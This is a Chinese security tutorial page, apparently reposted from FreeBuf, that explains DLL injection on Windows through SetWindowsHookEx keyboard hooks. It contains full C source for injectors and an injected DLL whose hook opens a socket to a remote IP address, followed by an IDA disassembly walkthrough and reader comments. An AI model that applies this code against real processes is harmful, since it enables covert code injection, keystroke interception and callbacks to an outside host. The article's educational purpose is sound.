CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

windows钩子

2017年5月23日 941点热度 0人点赞 0条评论

windows钩子

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

DLL注入的几种姿势(一):Windows Hooks

老王隔壁的白帽子2016-01-18+8共447522人围观 ,发现 12 个不明物体系统安全

DLL注入的目的是将代码放进另一个进程的地址空间中,所以要怎样才能实现DLL注入呢?

其实在Windows中有好几种方法可以实现,这里我们首先尝试通过“SetWindowsHookEx”创建钩子(hooks)来实现。另外如果你对这方面很感兴趣,可以参考文章最底下的相关文献,这些文献包含大量的代码以及其他有用的信息。

Windows Hooks

首先我们需要理解Windows的hook机制和API函数SetWindowsHookEx。Hook 机制允许应用程序截获处理窗口消息或特定事件。而钩子又可以分为多种,例如WH_KEYBOARD和WH_MOUSE,这两种钩子可以分别用来监视键盘和鼠标的消息。同样也存在这些钩子的低版本。要想理解Hook机制,必须要清楚的是每一个Hook事件的发生都有一个与之相关联的指针列表,称之为Hook链表。这个链表存在一系列的子进程,并且伴随着事件而执行。

下面是Hook子程的语法,来源MSDN:

使用SetWindowsHookEx实现DLL注入

使用API函数SetWindowsHookEx()把一个应用程序定义的Hook子程安装到 Hook链表中。这是该函数的语法,来源MSDN:

idHook是Hook的类型,lpfn是Hook子程的地址指针,hMod是应用程序实例的句柄,最后dwThreadId标识当前进程创建的线程。为了要让lpfn指向子程,首先通过LoadLibrary函数加载DLL文件至exe文件的地址空间中。然后通过GetProcessAddress获得所需函数的地址。最后调用SetWindowsHookEx,等待我们设置好的事件发生或者创建一个类似BroadcastSystemMessage的消息服务。一旦事件发生,Windows将会加载DLL至目标进程的地址空间中。

代码

下面的代码来源这里,首先通过LoadLibrary函数将DLL加载至可执行程序中。调用GetProcessAddress函数从DLL中获取注入地址。最后设置一个全局钩子(参数设置为0表示监视全局线程),监视程序。

injector.c

#include <windows.h>

int main(int argc, char* argv)
{
    /*
    Loads inject.dll into the address space of the calling function, in this case the running exe
    */
    HMODULE dll = LoadLibrary("inject.dll");
    if(dll == NULL)
    {
        printf("Cannot find DLL");
        getchar();
        return -1;
    }

    /*
    Gets the address of the inject method in the inject.dll
    */
    HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject");
    if(addr == NULL)
    {
        printf("Cannot find the function");
        getchar();
        return -1;
    }

    /*
    Places a hook in the hookchain for WH_KEYBOARD type events, using the address for the inject method, with the library address
    */
    HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);
    if(handle == NULL)
    {
        printf("Couldn't hook the keyboard");
    }

    printf("Hooked the program, hit enter to exit");
    getchar();
    UnhookWindowsHookEx(handle);

    return 0;
}

injectShell.c

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

INT APIENTRY DllMain(HMODULE hDll, DWORD Reason, LPVOID Reserved)
{
    FILE *file;
    fopen_s(&file, "C:\temp.txt", "a+");

    switch(Reason)
    {
        case DLL_PROCESS_ATTACH:
            fprintf(file, "DLL attach function called.n");
            break;
        case DLL_PROCESS_DETACH:
            fprintf(file, "DLL detach function called.n");
            break;
        case DLL_THREAD_ATTACH:
            fprintf(file, "DLL thread attach function called.n");
            break;
        case DLL_THREAD_DETACH:
            fprintf(file, "DLL thread detach function called.n");
            break;
    }

    fclose(file);

    return TRUE;
}


int inject(int code, WPARAM wParam, LPARAM lParam)
{

    WSADATA wsa;
    SOCKET s;
    struct sockaddr_in server;
    char *message;

    printf("\nInitializing Winsock...");
    if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)
    {
        printf("Failed. Error Code : %d", WSAGetLastError());
        return(CallNextHookEx(NULL, code, wParam, lParam));
    }

    printf("Initialized. \n");

    if((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET)
    {
        printf("Could not create socket : %d", WSAGetLastError());
    }

    printf("Socket Created. \n");

    server.sin_addr.s_addr = inet_addr("192.168.146.130"); //ip address
    server.sin_family = AF_INET;
    server.sin_port = htons( 443 );

    if(connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
    {
        puts("connect error");
        return(CallNextHookEx(NULL, code, wParam, lParam));
    }

    puts("Connected");

    message = "Injected Shell";
    if( send(s, message, strlen(message), 0) <0)
    {
        puts("Send failed");
        return(CallNextHookEx(NULL, code, wParam, lParam));
    }
    puts("Data sent\n");

    return(CallNextHookEx(NULL, code, wParam, lParam));

}

这里我们可以看到,该DLL文件连接其他主机。

接下来,DLL加载至另一个不同的进程中,成功!

尽管这段代码还存在问题,但我们设置的全局钩子意味着可以监视任何按键信息。换句话说我们最终可以注入一些预期之外的东西。幸运的是,可以注入至一个特定的进程中。还有另一个包含一些必要修改的版本。MSDN帮助我获得了一些我所需要的东西。这段代码向目标注入中增加了一些额外的步骤。首先,获得注入进程的id。通过这个获得这个进程的线程id,而SetWindowsHookEx 函数中的最后的一个参数就是线程的id。接着开始监视我们的进程,我们只需等待。

injector2.c

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <psapi.h>
#include <tlhelp32.h>

/*
This method is used to get a thread id for a process. 
It loops through all of the threads and compares their pid with the desired pid
*/
DWORD getThreadID(DWORD pid)
{
    puts("Getting Thread ID");
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if(h != INVALID_HANDLE_VALUE)
    {
        THREADENTRY32 te;
        te.dwSize = sizeof(te);
        if( Thread32First(h, &te))
        {
            do
            {
                if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
                {
                    if(te.th32OwnerProcessID == pid)
                    {
                        HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID);
                        if(!hThread)
                        {
                            puts("Couldn't get thread handle");
                        }
                        else
                        {
                            //DWORD tpid = GetProcessIdOfThread(hThread);
                            //printf("Got one: %u\n", tpid);
                            return te.th32ThreadID;
                        }
                    }
                }
            } while( Thread32Next(h, &te));
        }
    }
    CloseHandle(h);
    return (DWORD)0;
}

/*
This method performs the actual injection. It gets an appropriate thread id, loads the dll, 
gets the address of the inject method, then calls SetWindowsHookEx.
*/
int processInject(int pid)
{
    DWORD processID = (DWORD)pid;

        TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");

        HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);

        if (NULL != hProcess)
        {
                HMODULE hMod;
                DWORD cbNeeded;

                if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
                {
                        GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
                }
        }

    _tprintf( TEXT("Injecting into process %s PID: %u\n"), szProcessName, processID);

    DWORD threadID = getThreadID(processID);

    printf( "Using Thread ID %u\n", threadID);

    if(threadID == (DWORD)0)
    {
        puts("Cannot find thread");
        return -1;
    }

    HMODULE dll = LoadLibrary("inject2.dll");
    if(dll == NULL)
    {
        puts("Cannot find DLL");
        return -1;
    }

    HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "test");
    if(addr == NULL)
    {
        puts("Cannot find the function");
        return -1;
    }
    //Uses the threadID from getThreadID to inject into specific process
    HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID);

    if(handle == NULL)
    {
        puts("Couldn't hook the keyboard");
    }
    getchar();
    getchar();
    getchar();
    UnhookWindowsHookEx(handle);
    return 0;
}

int main(int argc, char* argv)
{

    int pid;
    puts("Inject into which PID?");
        scanf ("%u",&pid);
    printf("PID entered: %u\n", pid);
    int result = processInject(pid);
    if(result == -1)
    {
        puts("Could not inject");
    }
    else
    {
        puts("Injected!");
    }
    getchar();
}

test1.c

#include <stdio.h>
#include <windows.h>
int test()
{
    char str[80];
    /*
    Get's the current process id to display in the message box
    */
    int id = GetCurrentProcessId();
    sprintf(str, "Hello, process: %d", id);
    MessageBox(NULL, str, "Hello DLL!", MB_OK);
    return 0;
}

可以看到,这是从我们所选择的进程中运行的消息框。通过Process Explorer可以看到DLL同时加载到Notepad++和injector程序中,这个正是由于程序本身就加载了DLL文件。

尽管如此,监视进程还存在一定的局限性。一个进程必须存在消息循环并且确保能够接收消息,这样才能被监视到。这个主要限制了基于GUI的应用程序的目标。SetWindowsHookEx 同样不能具有更高完整性的进程中使用。

逆向代码

下面是IDA逆向第一个injector的代码。

上图虽然不是进程的整个流图,但是我们可以看到主要的SetWindowsHookEx部分。首先通过LoadLibraryA加载inject.dll。可以注意到,param1 在每个函数调用前被使用。将偏移地址保存在第一个参数所在的堆栈地址中。因此它获得注入函数(dllMethod)的地址,之后将DLL的句柄赋给param1,调用GetProcAddress。最后,加载SetWindowsHookEx的参数值,并调用函数。对比下第二个函数。

相比之下只有一个不同点,将threadID复制至寄存器中,之后再将其复制至第四个参数所在的堆栈地址中,再调用SetWindowsHookEx函数。是不是还不错?在下一篇将准备开写远程线程注入方法,期待吧!

参考资料

http://win32assembly.programminghorizon.com/tut24.html

https://www.daniweb.com/software-development/cpp/code/217096/keylogger-using-window-hooks

https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990%28v=vs.85%29.aspx

http://blogs.msdn.com/b/oldnewthing/archive/2006/02/23/537856.aspx

http://www.binarytides.com/winsock-socket-programming-tutorial/

http://resources.infosecinstitute.com/using-setwindowshookex-for-dll-injection-on-windows/

http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

https://github.com/malark3y/DLL-Injection

https://warroom.securestate.com/index.php/real-world-malware-analysis/

*老王隔壁的白帽子/编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

老王隔壁的白帽子55 篇文章等级: 6级
|
|
  • 上一篇:技术揭秘:如何分析中国菜刀是否包含后门?
  • 下一篇:BackdoorMe:功能强大的自动化后门
发表评论

已有 12 条评论

  • andy88 (5级)我相信我加入互联网,就是我未来的路、希望有大神关注http:... 2016-01-18回复1楼

    的确不错不错。

    亮了(2)
  • XXXX 2016-01-18回复2楼

    科普文啊,既然是(一)肯定就还有(二)了,难道你打算把HOOK的几个方法都写一遍

    亮了(1)
    • 老王隔壁的白帽子 (6级) 2016-01-19回复

      @ XXXX 关我屁事

      亮了(0)
  • wu860 (1级) 2016-01-18回复3楼

    真实好,最近正想学习一下hook呢,例子也是很好。你得编译环境???不介绍一下

    亮了(0)
  • hhx (2级) 2016-01-18回复4楼

    十年前可能算炒冷饭,现在再说这个,炒冷水?

    亮了(2)
    • 老王隔壁的白帽子 (6级) 2016-01-19回复

      @ hhx  heh

      亮了(0)
  • a 2016-01-18回复5楼

    欢迎扫盲

    亮了(0)
  • fuckinggay 2016-01-19回复6楼

    Cannot find DLL
    Could not inject

    亮了(0)
  • Bird101 (1级) 2016-01-19回复7楼

    逆向工程核心原理第3部分写得很清楚,常用的方式
    1.创建线程
    2.修改注册表
    3.消息钩取(Hook)
    4.直接修改PE文件

    亮了(4)
  • LeonChan (1级) 2016-01-19回复8楼

    :roll:

    亮了(0)
  • Spidersking (1级) 2016-01-20回复9楼

    不错不错

    亮了(0)
  • 1llusioN丶 2016-01-29回复10楼

    82分

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

老王隔壁的白帽子

这家伙太懒,还未填写个人描述!

55 篇文章8 条评论

相关阅读

  • DLL注入的几种姿势(二):CreateRemoteThread And More
  • 美高院欲修改法律允许FBI入侵世界任何电脑
  • FireEye系统上如何获得root权限
  • Microsoft Outlook曝严重漏洞,可导致远程代码执行
  • 分享一份Nmap Cheatsheet(下载)

特别推荐

关注我们 分享每日精选文章

不容错过

  • 安全产品评测:阿里云盾安全威胁情报“态势感知”0xroot2015-09-25
  • OWASP杭州2013年春季WEB应用安全沙龙(5月25日)无心喃呢2013-05-08
  • 数据和石油哪个更重要?2016杭州·云栖大会首日素描欧阳洋葱2016-10-13
  • 温州数字电视是如何被黑的 ?p0tt12015-06-08

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me